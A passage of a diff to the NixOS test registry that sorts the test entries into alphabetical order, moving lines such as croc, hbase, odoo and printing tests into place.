   cri-o = handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./cri-o.nix { };
+  croc = handleTest ./croc.nix { };
+  cross-seed = runTest ./cross-seed.nix;
   cryptpad = runTest ./cryptpad.nix;
   cups-pdf = runTest ./cups-pdf.nix;
   curl-impersonate = handleTest ./curl-impersonate.nix { };
   custom-ca = handleTest ./custom-ca.nix { };
-  croc = handleTest ./croc.nix { };
-  cross-seed = runTest ./cross-seed.nix;
   cyrus-imap = runTest ./cyrus-imap.nix;
-  darling-dmg = runTest ./darling-dmg.nix;
   dae = handleTest ./dae.nix { };
+  darling-dmg = runTest ./darling-dmg.nix;
   davis = runTest ./davis.nix;
   db-rest = handleTest ./db-rest.nix { };
   dconf = handleTest ./dconf.nix { };
@@ -394,34 +402,32 @@ in
   dnsdist = import ./dnsdist.nix { inherit pkgs runTest; };
   doas = runTest ./doas.nix;
   docker = runTestOn [ "aarch64-linux" "x86_64-linux" ] ./docker.nix;
-  docker-rootless = runTestOn [ "aarch64-linux" "x86_64-linux" ] ./docker-rootless.nix;
   docker-registry = runTest ./docker-registry.nix;
+  docker-rootless = runTestOn [ "aarch64-linux" "x86_64-linux" ] ./docker-rootless.nix;
   docker-tools = handleTestOn [ "x86_64-linux" ] ./docker-tools.nix { };
-  docker-tools-nix-shell = runTest ./docker-tools-nix-shell.nix;
   docker-tools-cross = runTestOn [ "x86_64-linux" "aarch64-linux" ] ./docker-tools-cross.nix;
+  docker-tools-nix-shell = runTest ./docker-tools-nix-shell.nix;
   docker-tools-overlay = runTestOn [ "x86_64-linux" ] ./docker-tools-overlay.nix;
   docling-serve = runTest ./docling-serve.nix;
-  documize = handleTest ./documize.nix { };
   documentation = pkgs.callPackage ../modules/misc/documentation/test.nix { inherit nixosLib; };
+  documize = handleTest ./documize.nix { };
   doh-proxy-rust = handleTest ./doh-proxy-rust.nix { };
   dokuwiki = runTest ./dokuwiki.nix;
   dolibarr = runTest ./dolibarr.nix;
   domination = handleTest ./domination.nix { };
   dovecot = handleTest ./dovecot.nix { };
+  draupnir = runTest ./matrix/draupnir.nix;
   drawterm = discoverTests (import ./drawterm.nix);
   drbd = handleTest ./drbd.nix { };
-  draupnir = runTest ./matrix/draupnir.nix;
-  druid = handleTestOn [ "x86_64-linux" ] ./druid { };
   drbd-driver = handleTest ./drbd-driver.nix { };
+  druid = handleTestOn [ "x86_64-linux" ] ./druid { };
   dublin-traceroute = handleTest ./dublin-traceroute.nix { };
-  earlyoom = handleTestOn [ "x86_64-linux" ] ./earlyoom.nix { };
   early-mount-options = handleTest ./early-mount-options.nix { };
+  earlyoom = handleTestOn [ "x86_64-linux" ] ./earlyoom.nix { };
   ec2-config = (handleTestOn [ "x86_64-linux" ] ./ec2.nix { }).boot-ec2-config or { };
   ec2-nixops = (handleTestOn [ "x86_64-linux" ] ./ec2.nix { }).boot-ec2-nixops or { };
   echoip = runTest ./echoip.nix;
   ecryptfs = handleTest ./ecryptfs.nix { };
-  fscrypt = handleTest ./fscrypt.nix { };
-  fastnetmon-advanced = runTest ./fastnetmon-advanced.nix;
   eintopf = runTest ./eintopf.nix;
   ejabberd = handleTest ./xmpp/ejabberd.nix { };
   elk = handleTestOn [ "x86_64-linux" ] ./elk.nix { };
@@ -445,13 +451,6 @@ in
   eris-server = handleTest ./eris-server.nix { };
   esphome = handleTest ./esphome.nix { };
   etc = pkgs.callPackage ../modules/system/etc/test.nix { inherit evalMinimalConfig; };
-  activation = pkgs.callPackage ../modules/system/activation/test.nix { };
-  activation-lib = pkgs.callPackage ../modules/system/activation/lib/test.nix { };
-  activation-var = runTest ./activation/var.nix;
-  activation-nix-channel = runTest ./activation/nix-channel.nix;
-  activation-etc-overlay-mutable = runTest ./activation/etc-overlay-mutable.nix;
-  activation-etc-overlay-immutable = runTest ./activation/etc-overlay-immutable.nix;
-  activation-perlless = runTest ./activation/perlless.nix;
   etcd = handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./etcd/etcd.nix { };
   etcd-cluster = handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./etcd/etcd-cluster.nix { };
   etebase-server = handleTest ./etebase-server.nix { };
@@ -461,6 +460,7 @@ in
   fakeroute = handleTest ./fakeroute.nix { };
   fancontrol = runTest ./fancontrol.nix;
   fanout = handleTest ./fanout.nix { };
+  fastnetmon-advanced = runTest ./fastnetmon-advanced.nix;
   fcitx5 = handleTest ./fcitx5 { };
   fedimintd = runTest ./fedimintd.nix;
   fenics = handleTest ./fenics.nix { };
@@ -496,8 +496,8 @@ in
   firejail = handleTest ./firejail.nix { };
   firewall = handleTest ./firewall.nix { nftables = false; };
   firewall-nftables = handleTest ./firewall.nix { nftables = true; };
-  fish = runTest ./fish.nix;
   firezone = handleTest ./firezone/firezone.nix { };
+  fish = runTest ./fish.nix;
   flannel = handleTestOn [ "x86_64-linux" ] ./flannel.nix { };
   flaresolverr = handleTest ./flaresolverr.nix { };
   flood = handleTest ./flood.nix { };
@@ -527,9 +527,8 @@ in
   frr = handleTest ./frr.nix { };
   fsck = handleTest ./fsck.nix { };
   fsck-systemd-stage-1 = handleTest ./fsck.nix { systemdStage1 = true; };
+  fscrypt = handleTest ./fscrypt.nix { };
   ft2-clone = handleTest ./ft2-clone.nix { };
-  legit = handleTest ./legit.nix { };
-  mimir = handleTest ./mimir.nix { };
   gancio = handleTest ./gancio.nix { };
   garage_1 = import ./garage {
     inherit runTest;
@@ -562,10 +561,10 @@ in
   gnome-xorg = handleTest ./gnome-xorg.nix { };
   gns3-server = handleTest ./gns3-server.nix { };
   gnupg = handleTest ./gnupg.nix { };
-  goatcounter = handleTest ./goatcounter.nix { };
   go-camo = handleTest ./go-camo.nix { };
   go-httpbin = runTest ./go-httpbin.nix;
   go-neb = runTest ./go-neb.nix;
+  goatcounter = handleTest ./goatcounter.nix { };
   gobgpd = handleTest ./gobgpd.nix { };
   gocd-agent = handleTest ./gocd-agent.nix { };
   gocd-server = handleTest ./gocd-server.nix { };
@@ -594,41 +593,26 @@ in
     inherit handleTestOn;
     package = pkgs.hadoop;
   };
-  hadoop_3_3 = import ./hadoop {
-    inherit handleTestOn;
-    package = pkgs.hadoop_3_3;
-  };
   hadoop2 = import ./hadoop {
     inherit handleTestOn;
     package = pkgs.hadoop2;
   };
-  haste-server = handleTest ./haste-server.nix { };
+  hadoop_3_3 = import ./hadoop {
+    inherit handleTestOn;
+    package = pkgs.hadoop_3_3;
+  };
   haproxy = runTest ./haproxy.nix;
   hardened = handleTest ./hardened.nix { };
   harmonia = runTest ./harmonia.nix;
+  haste-server = handleTest ./haste-server.nix { };
+  hbase2 = handleTest ./hbase.nix { package = pkgs.hbase2; };
+  hbase3 = handleTest ./hbase.nix { package = pkgs.hbase3; };
+  hbase_2_4 = handleTest ./hbase.nix { package = pkgs.hbase_2_4; };
+  hbase_2_5 = handleTest ./hbase.nix { package = pkgs.hbase_2_5; };
   headscale = handleTest ./headscale.nix { };
   healthchecks = handleTest ./web-apps/healthchecks.nix { };
-  hbase2 = handleTest ./hbase.nix { package = pkgs.hbase2; };
-  hbase_2_5 = handleTest ./hbase.nix { package = pkgs.hbase_2_5; };
-  hbase_2_4 = handleTest ./hbase.nix { package = pkgs.hbase_2_4; };
-  hbase3 = handleTest ./hbase.nix { package = pkgs.hbase3; };
   hedgedoc = handleTest ./hedgedoc.nix { };
   herbstluftwm = handleTest ./herbstluftwm.nix { };
-  homebox = handleTest ./homebox.nix { };
-  homer = handleTest ./homer { };
-  homepage-dashboard = runTest ./homepage-dashboard.nix;
-  honk = runTest ./honk.nix;
-  installed-tests = pkgs.recurseIntoAttrs (handleTest ./installed-tests { });
-  invidious = handleTest ./invidious.nix { };
-  iosched = handleTest ./iosched.nix { };
-  isolate = handleTest ./isolate.nix { };
-  livebook-service = handleTest ./livebook-service.nix { };
-  pyload = handleTest ./pyload.nix { };
-  oci-containers = handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./oci-containers.nix { };
-  odoo = handleTest ./odoo.nix { };
-  odoo17 = handleTest ./odoo.nix { package = pkgs.odoo17; };
-  odoo16 = handleTest ./odoo.nix { package = pkgs.odoo16; };
-  oncall = runTest ./web-apps/oncall.nix;
   # 9pnet_virtio used to mount /nix partition doesn't support
   # hibernation. This test happens to work on x86_64-linux but
   # not on other platforms.
@@ -640,14 +624,20 @@ in
   hledger-web = handleTest ./hledger-web.nix { };
   hockeypuck = handleTest ./hockeypuck.nix { };
   home-assistant = runTest ./home-assistant.nix;
+  homebox = handleTest ./homebox.nix { };
+  homepage-dashboard = runTest ./homepage-dashboard.nix;
+  homer = handleTest ./homer { };
+  honk = runTest ./honk.nix;
   hostname = handleTest ./hostname.nix { };
   hound = handleTest ./hound.nix { };
   hub = runTest ./git/hub.nix;
   hydra = runTest ./hydra;
+  i18n = runTest ./i18n.nix;
   i3wm = handleTest ./i3wm.nix { };
   icingaweb2 = runTest ./icingaweb2.nix;
   ifm = handleTest ./ifm.nix { };
   iftop = handleTest ./iftop.nix { };
+  image-contents = handleTest ./image-contents.nix { };
   immich = handleTest ./web-apps/immich.nix { };
   immich-public-proxy = handleTest ./web-apps/immich-public-proxy.nix { };
   incron = handleTest ./incron.nix { };
@@ -660,22 +650,26 @@ in
   incus-lts = pkgs.recurseIntoAttrs (handleTest ./incus { inherit system pkgs; });
   influxdb = handleTest ./influxdb.nix { };
   influxdb2 = handleTest ./influxdb2.nix { };
+  initrd-luks-empty-passphrase = handleTest ./initrd-luks-empty-passphrase.nix { };
   initrd-network-openvpn = handleTestOn [ "x86_64-linux" "i686-linux" ] ./initrd-network-openvpn { };
   initrd-network-ssh = handleTest ./initrd-network-ssh { };
-  initrd-luks-empty-passphrase = handleTest ./initrd-luks-empty-passphrase.nix { };
-  initrdNetwork = handleTest ./initrd-network.nix { };
   initrd-secrets = handleTest ./initrd-secrets.nix { };
   initrd-secrets-changing = handleTest ./initrd-secrets-changing.nix { };
+  initrdNetwork = handleTest ./initrd-network.nix { };
   input-remapper = handleTest ./input-remapper.nix { };
   inspircd = handleTest ./inspircd.nix { };
+  installed-tests = pkgs.recurseIntoAttrs (handleTest ./installed-tests { });
   installer = handleTest ./installer.nix { };
   installer-systemd-stage-1 = handleTest ./installer-systemd-stage-1.nix { };
   intune = handleTest ./intune.nix { };
+  invidious = handleTest ./invidious.nix { };
   invoiceplane = runTest ./invoiceplane.nix;
   iodine = handleTest ./iodine.nix { };
+  iosched = handleTest ./iosched.nix { };
   ipv6 = handleTest ./ipv6.nix { };
   iscsi-multipath-root = handleTest ./iscsi-multipath-root.nix { };
   iscsi-root = handleTest ./iscsi-root.nix { };
+  isolate = handleTest ./isolate.nix { };
   isso = handleTest ./isso.nix { };
   jackett = handleTest ./jackett.nix { };
   jellyfin = handleTest ./jellyfin.nix { };
@@ -723,6 +717,7 @@ in
   latestKernel.login = handleTest ./login.nix { latestKernel = true; };
   lavalink = runTest ./lavalink.nix;
   leaps = handleTest ./leaps.nix { };
+  legit = handleTest ./legit.nix { };
   lemmy = handleTest ./lemmy.nix { };
   libinput = handleTest ./libinput.nix { };
   librenms = runTest ./librenms.nix;
@@ -738,12 +733,13 @@ in
   lidarr = handleTest ./lidarr.nix { };
   lightdm = handleTest ./lightdm.nix { };
   lighttpd = runTest ./lighttpd.nix;
-  livekit = runTest ./networking/livekit.nix;
   limesurvey = handleTest ./limesurvey.nix { };
   limine = import ./limine { inherit runTest; };
   listmonk = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./listmonk.nix { };
   litellm = runTest ./litellm.nix;
   litestream = handleTest ./litestream.nix { };
+  livebook-service = handleTest ./livebook-service.nix { };
+  livekit = runTest ./networking/livekit.nix;
   lk-jwt-service = runTest ./matrix/lk-jwt-service.nix;
   lldap = handleTest ./lldap.nix { };
   localsend = handleTest ./localsend.nix { };
@@ -751,11 +747,6 @@ in
   login = handleTest ./login.nix { };
   logrotate = runTest ./logrotate.nix;
   loki = handleTest ./loki.nix { };
-  luks = handleTest ./luks.nix { };
-  lvm2 = handleTest ./lvm2 { };
-  lxc = handleTest ./lxc { };
-  lxd = pkgs.recurseIntoAttrs (handleTest ./lxd { inherit handleTestOn; });
-  lxd-image-server = handleTest ./lxd-image-server.nix { };
   #logstash = handleTest ./logstash.nix {};
   lomiri = discoverTests (import ./lomiri.nix);
   lomiri-calculator-app = runTest ./lomiri-calculator-app.nix;
@@ -764,11 +755,16 @@ in
   lomiri-clock-app = runTest ./lomiri-clock-app.nix;
   lomiri-docviewer-app = runTest ./lomiri-docviewer-app.nix;
   lomiri-filemanager-app = runTest ./lomiri-filemanager-app.nix;
+  lomiri-gallery-app = discoverTests (import ./lomiri-gallery-app.nix);
   lomiri-mediaplayer-app = runTest ./lomiri-mediaplayer-app.nix;
   lomiri-music-app = runTest ./lomiri-music-app.nix;
-  lomiri-gallery-app = discoverTests (import ./lomiri-gallery-app.nix);
   lomiri-system-settings = runTest ./lomiri-system-settings.nix;
   lorri = handleTest ./lorri/default.nix { };
+  luks = handleTest ./luks.nix { };
+  lvm2 = handleTest ./lvm2 { };
+  lxc = handleTest ./lxc { };
+  lxd = pkgs.recurseIntoAttrs (handleTest ./lxd { inherit handleTestOn; });
+  lxd-image-server = handleTest ./lxd-image-server.nix { };
   lxqt = handleTest ./lxqt.nix { };
   ly = handleTest ./ly.nix { };
   maddy = discoverTests (import ./maddy { inherit handleTest; });
@@ -777,16 +773,14 @@ in
   magnetico = handleTest ./magnetico.nix { };
   mailcatcher = runTest ./mailcatcher.nix;
   mailhog = runTest ./mailhog.nix;
-  mailpit = runTest ./mailpit.nix;
   mailman = runTest ./mailman.nix;
+  mailpit = runTest ./mailpit.nix;
   man = runTest ./man.nix;
   mariadb-galera = handleTest ./mysql/mariadb-galera.nix { };
   marytts = handleTest ./marytts.nix { };
   mastodon = pkgs.recurseIntoAttrs (handleTest ./web-apps/mastodon { inherit handleTestOn; });
-  pixelfed = import ./web-apps/pixelfed { inherit runTestOn; };
   mate = handleTest ./mate.nix { };
   mate-wayland = handleTest ./mate-wayland.nix { };
-  matter-server = handleTest ./matter-server.nix { };
   matomo = runTest ./matomo.nix;
   matrix-alertmanager = runTest ./matrix/matrix-alertmanager.nix;
   matrix-appservice-irc = runTest ./matrix/appservice-irc.nix;
@@ -794,9 +788,10 @@ in
   matrix-continuwuity = runTest ./matrix/continuwuity.nix;
   matrix-synapse = handleTest ./matrix/synapse.nix { };
   matrix-synapse-workers = handleTest ./matrix/synapse-workers.nix { };
+  matter-server = handleTest ./matter-server.nix { };
+  mattermost = handleTest ./mattermost { };
   mautrix-meta-postgres = handleTest ./matrix/mautrix-meta-postgres.nix { };
   mautrix-meta-sqlite = handleTest ./matrix/mautrix-meta-sqlite.nix { };
-  mattermost = handleTest ./mattermost { };
   mealie = handleTest ./mealie.nix { };
   mediamtx = handleTest ./mediamtx.nix { };
   mediatomb = handleTest ./mediatomb.nix { };
@@ -806,6 +801,7 @@ in
   merecat = handleTest ./merecat.nix { };
   metabase = handleTest ./metabase.nix { };
   mihomo = handleTest ./mihomo.nix { };
+  mimir = handleTest ./mimir.nix { };
   mindustry = handleTest ./mindustry.nix { };
   minecraft = handleTest ./minecraft.nix { };
   minecraft-server = handleTest ./minecraft-server.nix { };
@@ -823,7 +819,6 @@ in
   mollysocket = handleTest ./mollysocket.nix { };
   monado = handleTest ./monado.nix { };
   monetdb = handleTest ./monetdb.nix { };
-  monica = runTest ./web-apps/monica.nix;
   mongodb = runTest ./mongodb.nix;
   mongodb-ce = runTest (
     { config, ... }:
@@ -832,24 +827,25 @@ in
       defaults.services.mongodb.package = config.node.pkgs.mongodb-ce;
     }
   );
+  monica = runTest ./web-apps/monica.nix;
   moodle = runTest ./moodle.nix;
   moonraker = handleTest ./moonraker.nix { };
+  moosefs = handleTest ./moosefs.nix { };
   mopidy = handleTest ./mopidy.nix { };
   morph-browser = runTest ./morph-browser.nix;
   morty = handleTest ./morty.nix { };
   mosquitto = runTest ./mosquitto.nix;
-  moosefs = handleTest ./moosefs.nix { };
   movim = import ./web-apps/movim { inherit recurseIntoAttrs runTest; };
   mpd = runTest ./mpd.nix;
   mpv = runTest ./mpv.nix;
   mtp = handleTest ./mtp.nix { };
   multipass = handleTest ./multipass.nix { };
   mumble = runTest ./mumble.nix;
+  munin = handleTest ./munin.nix { };
   # Fails on aarch64-linux at the PDF creation step - need to debug this on an
   # aarch64 machine..
   musescore = handleTestOn [ "x86_64-linux" ] ./musescore.nix { };
   music-assistant = runTest ./music-assistant.nix;
-  munin = handleTest ./munin.nix { };
   mutableUsers = handleTest ./mutable-users.nix { };
   mycelium = handleTest ./mycelium { };
   mympd = handleTest ./mympd.nix { };
@@ -861,7 +857,6 @@ in
   nagios = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./nagios.nix { };
   nar-serve = handleTest ./nar-serve.nix { };
   nat.firewall = handleTest ./nat.nix { withFirewall = true; };
-  nat.standalone = handleTest ./nat.nix { withFirewall = false; };
   nat.nftables.firewall = handleTest ./nat.nix {
     withFirewall = true;
     nftables = true;
@@ -870,6 +865,7 @@ in
     withFirewall = false;
     nftables = true;
   };
+  nat.standalone = handleTest ./nat.nix { withFirewall = false; };
   nats = handleTest ./nats.nix { };
   navidrome = handleTest ./navidrome.nix { };
   nbd = handleTest ./nbd.nix { };
@@ -880,19 +876,17 @@ in
     defaults.services.ncps.cache.dataPath = "/path/to/ncps";
   };
   ndppd = handleTest ./ndppd.nix { };
-  nix-channel = pkgs.callPackage ../modules/config/nix-channel/test.nix { };
   nebula = handleTest ./nebula.nix { };
-  netbird = handleTest ./netbird.nix { };
-  nimdow = handleTest ./nimdow.nix { };
   neo4j = handleTest ./neo4j.nix { };
-  netdata = handleTest ./netdata.nix { };
-  networking.scripted = handleTest ./networking/networkd-and-scripted.nix { networkd = false; };
-  networking.networkd = handleTest ./networking/networkd-and-scripted.nix { networkd = true; };
-  networking.networkmanager = handleTest ./networking/networkmanager.nix { };
+  netbird = handleTest ./netbird.nix { };
+  netbox-upgrade = handleTest ./web-apps/netbox-upgrade.nix { };
   netbox_3_7 = handleTest ./web-apps/netbox/default.nix { netbox = pkgs.netbox_3_7; };
   netbox_4_1 = handleTest ./web-apps/netbox/default.nix { netbox = pkgs.netbox_4_1; };
   netbox_4_2 = handleTest ./web-apps/netbox/default.nix { netbox = pkgs.netbox_4_2; };
-  netbox-upgrade = handleTest ./web-apps/netbox-upgrade.nix { };
+  netdata = handleTest ./netdata.nix { };
+  networking.networkd = handleTest ./networking/networkd-and-scripted.nix { networkd = true; };
+  networking.networkmanager = handleTest ./networking/networkmanager.nix { };
+  networking.scripted = handleTest ./networking/networkd-and-scripted.nix { networkd = false; };
   # TODO: put in networking.nix after the test becomes more complete
   networkingProxy = handleTest ./networking-proxy.nix { };
   nextcloud = handleTest ./nextcloud { };
@@ -922,14 +916,16 @@ in
   nginx-unix-socket = runTest ./nginx-unix-socket.nix;
   nginx-variants = import ./nginx-variants.nix { inherit pkgs runTest; };
   nifi = runTestOn [ "x86_64-linux" ] ./web-apps/nifi.nix;
+  nimdow = handleTest ./nimdow.nix { };
   nitter = handleTest ./nitter.nix { };
+  nix-channel = pkgs.callPackage ../modules/config/nix-channel/test.nix { };
   nix-config = handleTest ./nix-config.nix { };
   nix-ld = runTest ./nix-ld.nix;
   nix-misc = handleTest ./nix/misc.nix { };
-  nix-upgrade = handleTest ./nix/upgrade.nix { inherit (pkgs) nixVersions; };
   nix-required-mounts = runTest ./nix-required-mounts;
   nix-serve = runTest ./nix-serve.nix;
   nix-serve-ssh = handleTest ./nix-serve-ssh.nix { };
+  nix-upgrade = handleTest ./nix/upgrade.nix { inherit (pkgs) nixVersions; };
   nixops = handleTest ./nixops/default.nix { };
   nixos-generate-config = handleTest ./nixos-generate-config.nix { };
   nixos-rebuild-install-bootloader = handleTestOn [
@@ -974,9 +970,15 @@ in
   nvmetcfg = handleTest ./nvmetcfg.nix { };
   nzbget = handleTest ./nzbget.nix { };
   nzbhydra2 = handleTest ./nzbhydra2.nix { };
-  ocis = handleTest ./ocis.nix { };
-  oddjobd = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./oddjobd.nix { };
   obs-studio = runTest ./obs-studio.nix;
+  oci-containers = handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./oci-containers.nix { };
+  ocis = handleTest ./ocis.nix { };
+  ocsinventory-agent = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./ocsinventory-agent.nix { };
+  octoprint = handleTest ./octoprint.nix { };
+  oddjobd = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./oddjobd.nix { };
+  odoo = handleTest ./odoo.nix { };
+  odoo16 = handleTest ./odoo.nix { package = pkgs.odoo16; };
+  odoo17 = handleTest ./odoo.nix { package = pkgs.odoo17; };
   oh-my-zsh = handleTest ./oh-my-zsh.nix { };
   olivetin = runTest ./olivetin.nix;
   ollama = runTest ./ollama.nix;
@@ -984,37 +986,34 @@ in
   ollama-rocm = runTestOn [ "x86_64-linux" "aarch64-linux" ] ./ollama-rocm.nix;
   ombi = handleTest ./ombi.nix { };
   omnom = runTest ./omnom.nix;
+  oncall = runTest ./web-apps/oncall.nix;
+  open-web-calendar = handleTest ./web-apps/open-web-calendar.nix { };
+  open-webui = runTest ./open-webui.nix;
   openarena = handleTest ./openarena.nix { };
   openbao = runTest ./openbao.nix;
   openldap = handleTest ./openldap.nix { };
-  opensearch = discoverTests (import ./opensearch.nix);
   openresty-lua = handleTest ./openresty-lua.nix { };
+  opensearch = discoverTests (import ./opensearch.nix);
   opensmtpd = handleTest ./opensmtpd.nix { };
   opensmtpd-rspamd = handleTest ./opensmtpd-rspamd.nix { };
   opensnitch = handleTest ./opensnitch.nix { };
   openssh = handleTest ./openssh.nix { };
-  octoprint = handleTest ./octoprint.nix { };
   openstack-image-metadata =
     (handleTestOn [ "x86_64-linux" ] ./openstack-image.nix { }).metadata or { };
   openstack-image-userdata =
     (handleTestOn [ "x86_64-linux" ] ./openstack-image.nix { }).userdata or { };
   opentabletdriver = handleTest ./opentabletdriver.nix { };
   opentelemetry-collector = handleTest ./opentelemetry-collector.nix { };
-  open-web-calendar = handleTest ./web-apps/open-web-calendar.nix { };
-  ocsinventory-agent = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./ocsinventory-agent.nix { };
-  orthanc = runTest ./orthanc.nix;
-  owncast = handleTest ./owncast.nix { };
-  outline = handleTest ./outline.nix { };
-  i18n = runTest ./i18n.nix;
-  image-contents = handleTest ./image-contents.nix { };
   openvscode-server = handleTest ./openvscode-server.nix { };
-  open-webui = runTest ./open-webui.nix;
   openvswitch = runTest ./openvswitch.nix;
   orangefs = handleTest ./orangefs.nix { };
+  orthanc = runTest ./orthanc.nix;
   os-prober = handleTestOn [ "x86_64-linux" ] ./os-prober.nix { };
   osquery = handleTestOn [ "x86_64-linux" ] ./osquery.nix { };
   osrm-backend = handleTest ./osrm-backend.nix { };
+  outline = handleTest ./outline.nix { };
   overlayfs = handleTest ./overlayfs.nix { };
+  owncast = handleTest ./owncast.nix { };
   pacemaker = handleTest ./pacemaker.nix { };
   packagekit = handleTest ./packagekit.nix { };
   pam-file-contents = handleTest ./pam/pam-file-contents.nix { };
@@ -1022,15 +1021,15 @@ in
   pam-u2f = handleTest ./pam/pam-u2f.nix { };
   pam-ussh = handleTest ./pam/pam-ussh.nix { };
   pam-zfs-key = handleTest ./pam/zfs-key.nix { };
-  paretosecurity = runTest ./paretosecurity.nix;
-  pass-secret-service = handleTest ./pass-secret-service.nix { };
-  patroni = handleTestOn [ "x86_64-linux" ] ./patroni.nix { };
   pantalaimon = handleTest ./matrix/pantalaimon.nix { };
   pantheon = handleTest ./pantheon.nix { };
   pantheon-wayland = handleTest ./pantheon-wayland.nix { };
   paperless = handleTest ./paperless.nix { };
+  paretosecurity = runTest ./paretosecurity.nix;
   parsedmarc = handleTest ./parsedmarc { };
+  pass-secret-service = handleTest ./pass-secret-service.nix { };
   password-option-override-ordering = handleTest ./password-option-override-ordering.nix { };
+  patroni = handleTestOn [ "x86_64-linux" ] ./patroni.nix { };
   pdns-recursor = runTest ./pdns-recursor.nix;
   pds = handleTest ./pds.nix { };
   peerflix = handleTest ./peerflix.nix { };
@@ -1041,8 +1040,8 @@ in
   pgbackrest = import ./pgbackrest { inherit runTest; };
   pgbouncer = handleTest ./pgbouncer.nix { };
   pghero = runTest ./pghero.nix;
-  pgweb = runTest ./pgweb.nix;
   pgmanage = handleTest ./pgmanage.nix { };
+  pgweb = runTest ./pgweb.nix;
   phosh = handleTest ./phosh.nix { };
   photonvision = handleTest ./photonvision.nix { };
   photoprism = handleTest ./photoprism.nix { };
@@ -1070,11 +1069,12 @@ in
   pict-rs = handleTest ./pict-rs.nix { };
   pingvin-share = handleTest ./pingvin-share.nix { };
   pinnwand = runTest ./pinnwand.nix;
+  pixelfed = import ./web-apps/pixelfed { inherit runTestOn; };
   plantuml-server = handleTest ./plantuml-server.nix { };
   plasma-bigscreen = handleTest ./plasma-bigscreen.nix { };
   plasma5 = handleTest ./plasma5.nix { };
-  plasma6 = handleTest ./plasma6.nix { };
   plasma5-systemd-start = handleTest ./plasma5-systemd-start.nix { };
+  plasma6 = handleTest ./plasma6.nix { };
   plausible = handleTest ./plausible.nix { };
   playwright-python = handleTest ./playwright-python.nix { };
   please = handleTest ./please.nix { };
@@ -1095,39 +1095,39 @@ in
   postfix-raise-smtpd-tls-security-level =
     handleTest ./postfix-raise-smtpd-tls-security-level.nix
       { };
-  postfixadmin = handleTest ./postfixadmin.nix { };
   postfix-tlspol = runTest ./postfix-tlspol.nix;
+  postfixadmin = handleTest ./postfixadmin.nix { };
   postgres-websockets = runTest ./postgres-websockets.nix;
   postgresql = handleTest ./postgresql { };
   postgrest = runTest ./postgrest.nix;
+  power-profiles-daemon = handleTest ./power-profiles-daemon.nix { };
   powerdns = handleTest ./powerdns.nix { };
   powerdns-admin = handleTest ./powerdns-admin.nix { };
-  power-profiles-daemon = handleTest ./power-profiles-daemon.nix { };
   pppd = handleTest ./pppd.nix { };
   predictable-interface-names = handleTest ./predictable-interface-names.nix { };
-  pretalx = runTest ./web-apps/pretalx.nix;
   prefect = runTest ./prefect.nix;
+  pretalx = runTest ./web-apps/pretalx.nix;
   pretix = runTest ./web-apps/pretix.nix;
-  printing-socket = runTest {
-    imports = [ ./printing.nix ];
-    _module.args.socket = true;
-    _module.args.listenTcp = true;
-  };
   printing-service = runTest {
     imports = [ ./printing.nix ];
     _module.args.socket = false;
     _module.args.listenTcp = true;
   };
-  printing-socket-notcp = runTest {
-    imports = [ ./printing.nix ];
-    _module.args.socket = true;
-    _module.args.listenTcp = false;
-  };
   printing-service-notcp = runTest {
     imports = [ ./printing.nix ];
     _module.args.socket = false;
     _module.args.listenTcp = false;
   };
+  printing-socket = runTest {
+    imports = [ ./printing.nix ];
+    _module.args.socket = true;
+    _module.args.listenTcp = true;
+  };
+  printing-socket-notcp = runTest {
+    imports = [ ./printing.nix ];
+    _module.args.socket = true;
+    _module.args.listenTcp = false;
+  };
   private-gpt = handleTest ./private-gpt.nix { };
   privatebin = runTest ./privatebin.nix;
   privoxy = handleTest ./privoxy.nix { };
@@ -1135,19 +1135,20 @@ in
   prometheus-exporters = handleTest ./prometheus-exporters.nix { };
   prosody = handleTest ./xmpp/prosody.nix { };
   prosody-mysql = handleTest ./xmpp/prosody-mysql.nix { };
-  proxy = handleTest ./proxy.nix { };
   prowlarr = handleTest ./prowlarr.nix { };
+  proxy = handleTest ./proxy.nix { };
   pt2-clone = handleTest ./pt2-clone.nix { };
-  pykms = handleTest ./pykms.nix { };
   public-inbox = handleTest ./public-inbox.nix { };
   pufferpanel = handleTest ./pufferpanel.nix { };
   pulseaudio = discoverTests (import ./pulseaudio.nix);
+  pykms = handleTest ./pykms.nix { };
+  pyload = handleTest ./pyload.nix { };
   qbittorrent = runTest ./qbittorrent.nix;
   qboot = handleTestOn [ "x86_64-linux" "i686-linux" ] ./qboot.nix { };
-  qemu-vm-restrictnetwork = handleTest ./qemu-vm-restrictnetwork.nix { };
-  qemu-vm-volatile-root = runTest ./qemu-vm-volatile-root.nix;
   qemu-vm-external-disk-image = runTest ./qemu-vm-external-disk-image.nix;
+  qemu-vm-restrictnetwork = handleTest ./qemu-vm-restrictnetwork.nix { };
   qemu-vm-store = runTest ./qemu-vm-store.nix;
+  qemu-vm-volatile-root = runTest ./qemu-vm-volatile-root.nix;
   qgis = handleTest ./qgis.nix { package = pkgs.qgis; };
   qgis-ltr = handleTest ./qgis.nix { package = pkgs.qgis-ltr; };
   qownnotes = handleTest ./qownnotes.nix { };
@@ -1164,8 +1165,8 @@ in
   rasdaemon = handleTest ./rasdaemon.nix { };
   rathole = runTest ./rathole.nix;
   readarr = handleTest ./readarr.nix { };
-  realm = handleTest ./realm.nix { };
   readeck = runTest ./readeck.nix;
+  realm = handleTest ./realm.nix { };
   rebuilderd = runTest ./rebuilderd.nix;
   redis = handleTest ./redis.nix { };
   redlib = handleTest ./redlib.nix { };
@@ -1174,16 +1175,16 @@ in
   replace-dependencies = handleTest ./replace-dependencies { };
   reposilite = runTest ./reposilite.nix;
   restartByActivationScript = handleTest ./restart-by-activation-script.nix { };
-  restic-rest-server = handleTest ./restic-rest-server.nix { };
   restic = handleTest ./restic.nix { };
+  restic-rest-server = handleTest ./restic-rest-server.nix { };
   retroarch = handleTest ./retroarch.nix { };
   rke2 = handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./rke2 { };
   rkvm = handleTest ./rkvm { };
   rmfakecloud = runTest ./rmfakecloud.nix;
   robustirc-bridge = handleTest ./robustirc-bridge.nix { };
+  rosenpass = handleTest ./rosenpass.nix { };
